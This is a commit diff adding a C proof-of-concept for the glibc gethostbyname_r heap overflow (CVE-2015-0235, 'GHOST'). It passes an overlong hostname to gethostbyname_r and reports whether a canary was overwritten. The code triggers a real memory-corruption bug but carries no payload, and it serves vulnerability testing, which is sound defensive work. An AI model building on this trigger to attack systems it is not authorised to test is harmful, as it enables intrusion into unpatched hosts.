add 7.1.2

src/exploit/7.1.2_glibc_2015-0235/poc.c

@@ -0,0 +1,38 @@
+#include <netdb.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <errno.h>
+ 
+#define CANARY "in_the_coal_mine"
+ 
+struct {
+  char buffer[1024];
+  char canary[sizeof(CANARY)];
+} temp = { "buffer", CANARY };
+ 
+int main(void) {
+  struct hostent resbuf;
+  struct hostent *result;
+  int herrno;
+  int retval;
+ 
+  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
+  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
+  char name[sizeof(temp.buffer)];
+  memset(name, '0', len);
+  name[len] = '\0';
+ 
+  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
+ 
+  if (strcmp(temp.canary, CANARY) != 0) {
+    puts("vulnerable");
+    exit(EXIT_SUCCESS);
+  }
+  if (retval == ERANGE) {
+    puts("not vulnerable");
+    exit(EXIT_SUCCESS);
+  }
+  puts("should not happen");
+  exit(EXIT_FAILURE);
+}